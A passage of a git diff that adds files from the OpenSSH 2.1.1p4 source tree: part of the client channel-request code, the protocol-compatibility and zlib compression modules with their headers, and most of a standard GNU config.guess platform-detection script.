+void +client_init_dispatch() +{ + if (compat20) + client_init_dispatch_20(); + else if (compat13) + client_init_dispatch_13(); + else + client_init_dispatch_15(); +} + +void +client_input_channel_req(int id, void *arg) +{ + Channel *c = NULL; + unsigned int len; + int success = 0; + int reply; + char *rtype; + + rtype = packet_get_string(&len); + reply = packet_get_char(); + + debug("client_input_channel_req: rtype %s reply %d", rtype, reply); + + c = channel_lookup(id); + if (c == NULL) + fatal("session_input_channel_req: channel %d: bad channel", id); + + if (session_ident == -1) { + error("client_input_channel_req: no channel %d", id); + } else if (id != session_ident) { + error("client_input_channel_req: bad channel %d != %d", + id, session_ident); + } else if (strcmp(rtype, "exit-status") == 0) { + success = 1; + exit_status = packet_get_int(); + packet_done(); + } + if (reply) { + packet_start(success ? + SSH2_MSG_CHANNEL_SUCCESS : SSH2_MSG_CHANNEL_FAILURE); + packet_put_int(c->remote_id); + packet_send(); + } + xfree(rtype); +} + +void +client_set_session_ident(int id) +{ + debug("client_set_session_ident: id %d", id); + session_ident = id; + channel_register_callback(id, SSH2_MSG_CHANNEL_REQUEST, + client_input_channel_req, (void *)0); +} diff --git a/other/openssh-2.1.1p4/compat.c b/other/openssh-2.1.1p4/compat.c new file mode 100644 index 0000000..595a0a3 --- /dev/null +++ b/other/openssh-2.1.1p4/compat.c @@ -0,0 +1,107 @@ +/* + * Copyright (c) 1999 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: compat.c,v 1.19 2000/07/09 01:27:32 ho Exp $"); + +#include "ssh.h" +#include "packet.h" +#include "xmalloc.h" +#include "compat.h" + +int compat13 = 0; +int compat20 = 0; +int datafellows = 0; + +void +enable_compat20(void) +{ + verbose("Enabling compatibility mode for protocol 2.0"); + compat20 = 1; +} +void +enable_compat13(void) +{ + verbose("Enabling compatibility mode for protocol 1.3"); + compat13 = 1; +} +/* datafellows bug compatibility */ +void +compat_datafellows(const char *version) +{ + int i; + size_t len; + struct { + char *version; + int bugs; + } check[] = { + {"2.2.0", SSH_BUG_HMAC|SSH_COMPAT_SESSIONID_ENCODING}, + {"2.1.0", SSH_BUG_SIGBLOB|SSH_BUG_HMAC}, + {"2.0.1", SSH_BUG_SIGBLOB|SSH_BUG_HMAC|SSH_BUG_PUBKEYAUTH|SSH_BUG_X11FWD}, + {NULL, 0} + }; + for (i = 0; check[i].version; i++) { + len = strlen(check[i].version); + if (strlen(version) >= len && + (strncmp(version, check[i].version, len) == 0)) { + verbose("datafellows: %.200s", version); + datafellows = check[i].bugs; + return; + } + } +} + +#define SEP "," +int +proto_spec(const char *spec) +{ + char *s, *p, *q; + int ret = SSH_PROTO_UNKNOWN; + + if (spec == NULL) + return ret; + q = s = xstrdup(spec); + for ((p = strsep(&q, SEP)); p && *p != '\0'; (p = strsep(&q, SEP))) { + switch(atoi(p)) { + case 1: + if (ret == SSH_PROTO_UNKNOWN) + ret |= SSH_PROTO_1_PREFERRED; + ret |= SSH_PROTO_1; + break; + case 2: + ret |= SSH_PROTO_2; + break; + default: + log("ignoring bad proto spec: '%s'.", p); + break; + } + } + xfree(s); + return ret; +} diff --git a/other/openssh-2.1.1p4/compat.h b/other/openssh-2.1.1p4/compat.h new file mode 100644 index 0000000..2060a39 --- /dev/null +++ b/other/openssh-2.1.1p4/compat.h @@ -0,0 +1,52 @@ +/* + * Copyright (c) 1999 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +/* RCSID("$OpenBSD: compat.h,v 1.9 2000/06/20 01:39:40 markus Exp $"); */ + +#ifndef COMPAT_H +#define COMPAT_H + +#define SSH_PROTO_UNKNOWN 0x00 +#define SSH_PROTO_1 0x01 +#define SSH_PROTO_1_PREFERRED 0x02 +#define SSH_PROTO_2 0x04 + +#define SSH_BUG_SIGBLOB 0x01 +#define SSH_BUG_PUBKEYAUTH 0x02 +#define SSH_BUG_HMAC 0x04 +#define SSH_BUG_X11FWD 0x08 +#define SSH_COMPAT_SESSIONID_ENCODING 0x10 + +void enable_compat13(void); +void enable_compat20(void); +void compat_datafellows(const char *s); +int proto_spec(const char *spec); +extern int compat13; +extern int compat20; +extern int datafellows; +#endif diff --git a/other/openssh-2.1.1p4/compress.c b/other/openssh-2.1.1p4/compress.c new file mode 100644 index 0000000..4ec2010 --- /dev/null +++ b/other/openssh-2.1.1p4/compress.c @@ -0,0 +1,143 @@ +/* + * + * compress.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Wed Oct 25 22:12:46 1995 ylo + * + * Interface to packet compression for ssh. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: compress.c,v 1.8 2000/06/20 01:39:40 markus Exp $"); + +#include "ssh.h" +#include "buffer.h" +#include "zlib.h" + +static z_stream incoming_stream; +static z_stream outgoing_stream; + +/* + * Initializes compression; level is compression level from 1 to 9 + * (as in gzip). + */ + +void +buffer_compress_init(int level) +{ + debug("Enabling compression at level %d.", level); + if (level < 1 || level > 9) + fatal("Bad compression level %d.", level); + inflateInit(&incoming_stream); + deflateInit(&outgoing_stream, level); +} + +/* Frees any data structures allocated for compression. */ + +void +buffer_compress_uninit() +{ + debug("compress outgoing: raw data %lu, compressed %lu, factor %.2f", + outgoing_stream.total_in, outgoing_stream.total_out, + outgoing_stream.total_in == 0 ? 0.0 : + (double) outgoing_stream.total_out / outgoing_stream.total_in); + debug("compress incoming: raw data %lu, compressed %lu, factor %.2f", + incoming_stream.total_out, incoming_stream.total_in, + incoming_stream.total_out == 0 ? 0.0 : + (double) incoming_stream.total_in / incoming_stream.total_out); + inflateEnd(&incoming_stream); + deflateEnd(&outgoing_stream); +} + +/* + * Compresses the contents of input_buffer into output_buffer. All packets + * compressed using this function will form a single compressed data stream; + * however, data will be flushed at the end of every call so that each + * output_buffer can be decompressed independently (but in the appropriate + * order since they together form a single compression stream) by the + * receiver. This appends the compressed data to the output buffer. + */ + +void +buffer_compress(Buffer * input_buffer, Buffer * output_buffer) +{ + char buf[4096]; + int status; + + /* This case is not handled below. */ + if (buffer_len(input_buffer) == 0) + return; + + /* Input is the contents of the input buffer. */ + outgoing_stream.next_in = (unsigned char *) buffer_ptr(input_buffer); + outgoing_stream.avail_in = buffer_len(input_buffer); + + /* Loop compressing until deflate() returns with avail_out != 0. */ + do { + /* Set up fixed-size output buffer. */ + outgoing_stream.next_out = (unsigned char *)buf; + outgoing_stream.avail_out = sizeof(buf); + + /* Compress as much data into the buffer as possible. */ + status = deflate(&outgoing_stream, Z_PARTIAL_FLUSH); + switch (status) { + case Z_OK: + /* Append compressed data to output_buffer. */ + buffer_append(output_buffer, buf, + sizeof(buf) - outgoing_stream.avail_out); + break; + default: + fatal("buffer_compress: deflate returned %d", status); + /* NOTREACHED */ + } + } while (outgoing_stream.avail_out == 0); +} + +/* + * Uncompresses the contents of input_buffer into output_buffer. All packets + * uncompressed using this function will form a single compressed data + * stream; however, data will be flushed at the end of every call so that + * each output_buffer. This must be called for the same size units that the + * buffer_compress was called, and in the same order that buffers compressed + * with that. This appends the uncompressed data to the output buffer. + */ + +void +buffer_uncompress(Buffer * input_buffer, Buffer * output_buffer) +{ + char buf[4096]; + int status; + + incoming_stream.next_in = (unsigned char *) buffer_ptr(input_buffer); + incoming_stream.avail_in = buffer_len(input_buffer); + + for (;;) { + /* Set up fixed-size output buffer. */ + incoming_stream.next_out = (unsigned char *) buf; + incoming_stream.avail_out = sizeof(buf); + + status = inflate(&incoming_stream, Z_PARTIAL_FLUSH); + switch (status) { + case Z_OK: + buffer_append(output_buffer, buf, + sizeof(buf) - incoming_stream.avail_out); + break; + case Z_BUF_ERROR: + /* + * Comments in zlib.h say that we should keep calling + * inflate() until we get an error. This appears to + * be the error that we get. + */ + return; + default: + fatal("buffer_uncompress: inflate returned %d", status); + /* NOTREACHED */ + } + } +} diff --git a/other/openssh-2.1.1p4/compress.h b/other/openssh-2.1.1p4/compress.h new file mode 100644 index 0000000..ce7d7fa --- /dev/null +++ b/other/openssh-2.1.1p4/compress.h @@ -0,0 +1,50 @@ +/* + * + * compress.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Wed Oct 25 22:12:46 1995 ylo + * + * Interface to packet compression for ssh. + * + */ + +/* RCSID("$OpenBSD: compress.h,v 1.5 2000/06/20 01:39:40 markus Exp $"); */ + +#ifndef COMPRESS_H +#define COMPRESS_H + +/* + * Initializes compression; level is compression level from 1 to 9 (as in + * gzip). + */ +void buffer_compress_init(int level); + +/* Frees any data structures allocated by buffer_compress_init. */ +void buffer_compress_uninit(); + +/* + * Compresses the contents of input_buffer into output_buffer. All packets + * compressed using this function will form a single compressed data stream; + * however, data will be flushed at the end of every call so that each + * output_buffer can be decompressed independently (but in the appropriate + * order since they together form a single compression stream) by the + * receiver. This appends the compressed data to the output buffer. + */ +void buffer_compress(Buffer * input_buffer, Buffer * output_buffer); + +/* + * Uncompresses the contents of input_buffer into output_buffer. All packets + * uncompressed using this function will form a single compressed data + * stream; however, data will be flushed at the end of every call so that + * each output_buffer. This must be called for the same size units that the + * buffer_compress was called, and in the same order that buffers compressed + * with that. This appends the uncompressed data to the output buffer. + */ +void buffer_uncompress(Buffer * input_buffer, Buffer * output_buffer); + +#endif /* COMPRESS_H */ diff --git a/other/openssh-2.1.1p4/config.guess b/other/openssh-2.1.1p4/config.guess new file mode 100755 index 0000000..b4faaed --- /dev/null +++ b/other/openssh-2.1.1p4/config.guess @@ -0,0 +1,1270 @@ +#! /bin/sh +# Attempt to guess a canonical system name. +# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000 +# Free Software Foundation, Inc. + +version='2000-05-30' + +# This file is free software; you can redistribute it and/or modify it +# under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. +# +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +# Written by Per Bothner . +# Please send patches to . +# +# This script attempts to guess a canonical system name similar to +# config.sub. If it succeeds, it prints the system name on stdout, and +# exits with 0. Otherwise, it exits with 1. +# +# The plan is that this can be called by configure scripts if you +# don't specify an explicit system type (host/target name). +# +# Only a few systems have been added to this list; please add others +# (but try to keep the structure clean). +# + +me=`echo "$0" | sed -e 's,.*/,,'` + +usage="\ +Usage: $0 [OPTION] + +Output the configuration name of this system. + +Operation modes: + -h, --help print this help, then exit + -V, --version print version number, then exit" + +help=" +Try \`$me --help' for more information." + +# Parse command line +while test $# -gt 0 ; do + case "$1" in + --version | --vers* | -V ) + echo "$version" ; exit 0 ;; + --help | --h* | -h ) + echo "$usage"; exit 0 ;; + -- ) # Stop option processing + shift; break ;; + - ) # Use stdin as input. + break ;; + -* ) + exec >&2 + echo "$me: invalid option $1" + echo "$help" + exit 1 ;; + * ) + break ;; + esac +done + +if test $# != 0; then + echo "$me: too many arguments$help" >&2 + exit 1 +fi + +# Use $HOST_CC if defined. $CC may point to a cross-compiler +if test x"$CC_FOR_BUILD" = x; then + if test x"$HOST_CC" != x; then + CC_FOR_BUILD="$HOST_CC" + else + if test x"$CC" != x; then + CC_FOR_BUILD="$CC" + else + CC_FOR_BUILD=cc + fi + fi +fi + + +# This is needed to find uname on a Pyramid OSx when run in the BSD universe. +# (ghazi@noc.rutgers.edu 8/24/94.) +if (test -f /.attbin/uname) >/dev/null 2>&1 ; then + PATH=$PATH:/.attbin ; export PATH +fi + +UNAME_MACHINE=`(uname -m) 2>/dev/null` || UNAME_MACHINE=unknown +UNAME_RELEASE=`(uname -r) 2>/dev/null` || UNAME_RELEASE=unknown +UNAME_SYSTEM=`(uname -s) 2>/dev/null` || UNAME_SYSTEM=unknown +UNAME_VERSION=`(uname -v) 2>/dev/null` || UNAME_VERSION=unknown + +dummy=dummy-$$ +trap 'rm -f $dummy.c $dummy.o $dummy; exit 1' 1 2 15 + +# Note: order is significant - the case branches are not exclusive. + +case "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" in + *:NetBSD:*:*) + # Netbsd (nbsd) targets should (where applicable) match one or + # more of the tupples: *-*-netbsdelf*, *-*-netbsdaout*, + # *-*-netbsdecoff* and *-*-netbsd*. For targets that recently + # switched to ELF, *-*-netbsd* would select the old + # object file format. This provides both forward + # compatibility and a consistent mechanism for selecting the + # object file format. + # Determine the machine/vendor (is the vendor relevant). + case "${UNAME_MACHINE}" in + amiga) machine=m68k-cbm ;; + arm32) machine=arm-unknown ;; + atari*) machine=m68k-atari ;; + sun3*) machine=m68k-sun ;; + mac68k) machine=m68k-apple ;; + macppc) machine=powerpc-apple ;; + hp3[0-9][05]) machine=m68k-hp ;; + ibmrt|romp-ibm) machine=romp-ibm ;; + *) machine=${UNAME_MACHINE}-unknown ;; + esac + # The Operating System including object format. + if echo __ELF__ | $CC_FOR_BUILD -E - 2>/dev/null \ + | grep __ELF__ >/dev/null + then + # Once all utilities can be ECOFF (netbsdecoff) or a.out (netbsdaout). + # Return netbsd for either. FIX? + os=netbsd + else + os=netbsdelf + fi + # The OS release + release=`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'` + # Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM: + # contains redundant information, the shorter form: + # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used. + echo "${machine}-${os}${release}" + exit 0 ;; + alpha:OSF1:*:*) + if test $UNAME_RELEASE = "V4.0"; then + UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $3}'` + fi + # A Vn.n version is a released version. + # A Tn.n version is a released field test version. + # A Xn.n version is an unreleased experimental baselevel. + # 1.2 uses "1.2" for uname -r. + cat <$dummy.s + .data +\$Lformat: + .byte 37,100,45,37,120,10,0 # "%d-%x\n" + + .text + .globl main + .align 4 + .ent main +main: + .frame \$30,16,\$26,0 + ldgp \$29,0(\$27) + .prologue 1 + .long 0x47e03d80 # implver \$0 + lda \$2,-1 + .long 0x47e20c21 # amask \$2,\$1 + lda \$16,\$Lformat + mov \$0,\$17 + not \$1,\$18 + jsr \$26,printf + ldgp \$29,0(\$26) + mov 0,\$16 + jsr \$26,exit + .end main +EOF + $CC_FOR_BUILD $dummy.s -o $dummy 2>/dev/null + if test "$?" = 0 ; then + case `./$dummy` in + 0-0) + UNAME_MACHINE="alpha" + ;; + 1-0) + UNAME_MACHINE="alphaev5" + ;; + 1-1) + UNAME_MACHINE="alphaev56" + ;; + 1-101) + UNAME_MACHINE="alphapca56" + ;; + 2-303) + UNAME_MACHINE="alphaev6" + ;; + 2-307) + UNAME_MACHINE="alphaev67" + ;; + esac + fi + rm -f $dummy.s $dummy + echo ${UNAME_MACHINE}-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[VTX]//' | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` + exit 0 ;; + Alpha\ *:Windows_NT*:*) + # How do we know it's Interix rather than the generic POSIX subsystem? + # Should we change UNAME_MACHINE based on the output of uname instead + # of the specific Alpha model? + echo alpha-pc-interix + exit 0 ;; + 21064:Windows_NT:50:3) + echo alpha-dec-winnt3.5 + exit 0 ;; + Amiga*:UNIX_System_V:4.0:*) + echo m68k-cbm-sysv4 + exit 0;; + amiga:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + *:[Aa]miga[Oo][Ss]:*:*) + echo ${UNAME_MACHINE}-unknown-amigaos + exit 0 ;; + arc64:OpenBSD:*:*) + echo mips64el-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + arc:OpenBSD:*:*) + echo mipsel-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + hkmips:OpenBSD:*:*) + echo mips-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + pmax:OpenBSD:*:*) + echo mipsel-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + sgi:OpenBSD:*:*) + echo mips-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + wgrisc:OpenBSD:*:*) + echo mipsel-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + *:OS/390:*:*) + echo i370-ibm-openedition + exit 0 ;; + arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*) + echo arm-acorn-riscix${UNAME_RELEASE} + exit 0;; + SR2?01:HI-UX/MPP:*:*) + echo hppa1.1-hitachi-hiuxmpp + exit 0;; + Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*) + # akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE. + if test "`(/bin/universe) 2>/dev/null`" = att ; then + echo pyramid-pyramid-sysv3 + else + echo pyramid-pyramid-bsd + fi + exit 0 ;; + NILE*:*:*:dcosx) + echo pyramid-pyramid-svr4 + exit 0 ;; + sun4H:SunOS:5.*:*) + echo sparc-hal-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*) + echo sparc-sun-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + i86pc:SunOS:5.*:*) + echo i386-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + sun4*:SunOS:6*:*) + # According to config.sub, this is the proper way to canonicalize + # SunOS6. Hard to guess exactly what SunOS6 will be like, but + # it's likely to be more like Solaris than SunOS4. + echo sparc-sun-solaris3`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + sun4*:SunOS:*:*) + case "`/usr/bin/arch -k`" in + Series*|S4*) + UNAME_RELEASE=`uname -v` + ;; + esac + # Japanese Language versions have a version number like `4.1.3-JL'. + echo sparc-sun-sunos`echo ${UNAME_RELEASE}|sed -e 's/-/_/'` + exit 0 ;; + sun3*:SunOS:*:*) + echo m68k-sun-sunos${UNAME_RELEASE} + exit 0 ;; + sun*:*:4.2BSD:*) + UNAME_RELEASE=`(head -1 /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null` + test "x${UNAME_RELEASE}" = "x" && UNAME_RELEASE=3 + case "`/bin/arch`" in + sun3) + echo m68k-sun-sunos${UNAME_RELEASE} + ;; + sun4) + echo sparc-sun-sunos${UNAME_RELEASE} + ;; + esac + exit 0 ;; + aushp:SunOS:*:*) + echo sparc-auspex-sunos${UNAME_RELEASE} + exit 0 ;; + atari*:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + # The situation for MiNT is a little confusing. The machine name + # can be virtually everything (everything which is not + # "atarist" or "atariste" at least should have a processor + # > m68000). The system name ranges from "MiNT" over "FreeMiNT" + # to the lowercase version "mint" (or "freemint"). Finally + # the system name "TOS" denotes a system which is actually not + # MiNT. But MiNT is downward compatible to TOS, so this should + # be no problem. + atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*) + echo m68k-atari-mint${UNAME_RELEASE} + exit 0 ;; + atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*) + echo m68k-atari-mint${UNAME_RELEASE} + exit 0 ;; + *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*) + echo m68k-atari-mint${UNAME_RELEASE} + exit 0 ;; + milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*) + echo m68k-milan-mint${UNAME_RELEASE} + exit 0 ;; + hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*) + echo m68k-hades-mint${UNAME_RELEASE} + exit 0 ;; + *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*) + echo m68k-unknown-mint${UNAME_RELEASE} + exit 0 ;; + sun3*:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + mac68k:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + mvme68k:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + mvme88k:OpenBSD:*:*) + echo m88k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + powerpc:machten:*:*) + echo powerpc-apple-machten${UNAME_RELEASE} + exit 0 ;; + RISC*:Mach:*:*) + echo mips-dec-mach_bsd4.3 + exit 0 ;; + RISC*:ULTRIX:*:*) + echo mips-dec-ultrix${UNAME_RELEASE} + exit 0 ;; + VAX*:ULTRIX*:*:*) + echo vax-dec-ultrix${UNAME_RELEASE} + exit 0 ;; + 2020:CLIX:*:* | 2430:CLIX:*:*) + echo clipper-intergraph-clix${UNAME_RELEASE} + exit 0 ;; + mips:*:*:UMIPS | mips:*:*:RISCos) + sed 's/^ //' << EOF >$dummy.c +#ifdef __cplusplus +#include /* for printf() prototype */ + int main (int argc, char *argv[]) { +#else + int main (argc, argv) int argc; char *argv[]; { +#endif + #if defined (host_mips) && defined (MIPSEB) + #if defined (SYSTYPE_SYSV) + printf ("mips-mips-riscos%ssysv\n", argv[1]); exit (0); + #endif + #if defined (SYSTYPE_SVR4) + printf ("mips-mips-riscos%ssvr4\n", argv[1]); exit (0); + #endif + #if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD) + printf ("mips-mips-riscos%sbsd\n", argv[1]); exit (0); + #endif + #endif + exit (-1); + } +EOF + $CC_FOR_BUILD $dummy.c -o $dummy \ + && ./$dummy `echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` \ + && rm $dummy.c $dummy && exit 0 + rm -f $dummy.c $dummy + echo mips-mips-riscos${UNAME_RELEASE} + exit 0 ;; + Night_Hawk:Power_UNIX:*:*) + echo powerpc-harris-powerunix + exit 0 ;; + m88k:CX/UX:7*:*) + echo m88k-harris-cxux7 + exit 0 ;; + m88k:*:4*:R4*) + echo m88k-motorola-sysv4 + exit 0 ;; + m88k:*:3*:R3*) + echo m88k-motorola-sysv3 + exit 0 ;; + AViiON:dgux:*:*) + # DG/UX returns AViiON for all architectures + UNAME_PROCESSOR=`/usr/bin/uname -p` + if [ $UNAME_PROCESSOR = mc88100 ] || [ $UNAME_PROCESSOR = mc88110 ] + then + if [ ${TARGET_BINARY_INTERFACE}x = m88kdguxelfx ] || \ + [ ${TARGET_BINARY_INTERFACE}x = x ] + then + echo m88k-dg-dgux${UNAME_RELEASE} + else + echo m88k-dg-dguxbcs${UNAME_RELEASE} + fi + else + echo i586-dg-dgux${UNAME_RELEASE} + fi + exit 0 ;; + M88*:DolphinOS:*:*) # DolphinOS (SVR3) + echo m88k-dolphin-sysv3 + exit 0 ;; + M88*:*:R3*:*) + # Delta 88k system running SVR3 + echo m88k-motorola-sysv3 + exit 0 ;; + XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3) + echo m88k-tektronix-sysv3 + exit 0 ;; + Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD) + echo m68k-tektronix-bsd + exit 0 ;; + *:IRIX*:*:*) + echo mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'` + exit 0 ;; + ????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX. + echo romp-ibm-aix # uname -m gives an 8 hex-code CPU id + exit 0 ;; # Note that: echo "'`uname -s`'" gives 'AIX ' + i?86:AIX:*:*) + echo i386-ibm-aix + exit 0 ;; + *:AIX:2:3) + if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then + sed 's/^ //' << EOF >$dummy.c + #include + + main() + { + if (!__power_pc()) + exit(1); + puts("powerpc-ibm-aix3.2.5"); + exit(0); + } +EOF + $CC_FOR_BUILD $dummy.c -o $dummy && ./$dummy && rm $dummy.c $dummy && exit 0 + rm -f $dummy.c $dummy + echo rs6000-ibm-aix3.2.5 + elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then + echo rs6000-ibm-aix3.2.4 + else + echo rs6000-ibm-aix3.2 + fi + exit 0 ;; + *:AIX:*:4) + IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | head -1 | awk '{ print $1 }'` + if /usr/sbin/lsattr -EHl ${IBM_CPU_ID} | grep POWER >/dev/null 2>&1; then + IBM_ARCH=rs6000 + else + IBM_ARCH=powerpc + fi + if [ -x /usr/bin/oslevel ] ; then + IBM_REV=`/usr/bin/oslevel` + else + IBM_REV=4.${UNAME_RELEASE} + fi + echo ${IBM_ARCH}-ibm-aix${IBM_REV} + exit 0 ;; + *:AIX:*:*) + echo rs6000-ibm-aix + exit 0 ;; + ibmrt:4.4BSD:*|romp-ibm:BSD:*) + echo romp-ibm-bsd4.4 + exit 0 ;; + ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC BSD and + echo romp-ibm-bsd${UNAME_RELEASE} # 4.3 with uname added to + exit 0 ;; # report: romp-ibm BSD 4.3 + *:BOSX:*:*) + echo rs6000-bull-bosx + exit 0 ;; + DPX/2?00:B.O.S.:*:*) + echo m68k-bull-sysv3 + exit 0 ;; + 9000/[34]??:4.3bsd:1.*:*) + echo m68k-hp-bsd + exit 0 ;; + hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*) + echo m68k-hp-bsd4.4 + exit 0 ;; + 9000/[34678]??:HP-UX:*:*) + case "${UNAME_MACHINE}" in + 9000/31? ) HP_ARCH=m68000 ;; + 9000/[34]?? ) HP_ARCH=m68k ;; + 9000/[678][0-9][0-9]) + sed 's/^ //' << EOF >$dummy.c + + #define _HPUX_SOURCE + #include + #include + + int main () + { + #if defined(_SC_KERNEL_BITS) + long bits = sysconf(_SC_KERNEL_BITS); + #endif + long cpu = sysconf (_SC_CPU_VERSION); + + switch (cpu) + { + case CPU_PA_RISC1_0: puts ("hppa1.0"); break; + case CPU_PA_RISC1_1: puts ("hppa1.1"); break; + case CPU_PA_RISC2_0: + #if defined(_SC_KERNEL_BITS) + switch (bits) + { + case 64: puts ("hppa2.0w"); break; + case 32: puts ("hppa2.0n"); break; + default: puts ("hppa2.0"); break; + } break; + #else /* !defined(_SC_KERNEL_BITS) */ + puts ("hppa2.0"); break; + #endif + default: puts ("hppa1.0"); break; + } + exit (0); + } +EOF + (CCOPTS= $CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null ) && HP_ARCH=`./$dummy` + rm -f $dummy.c 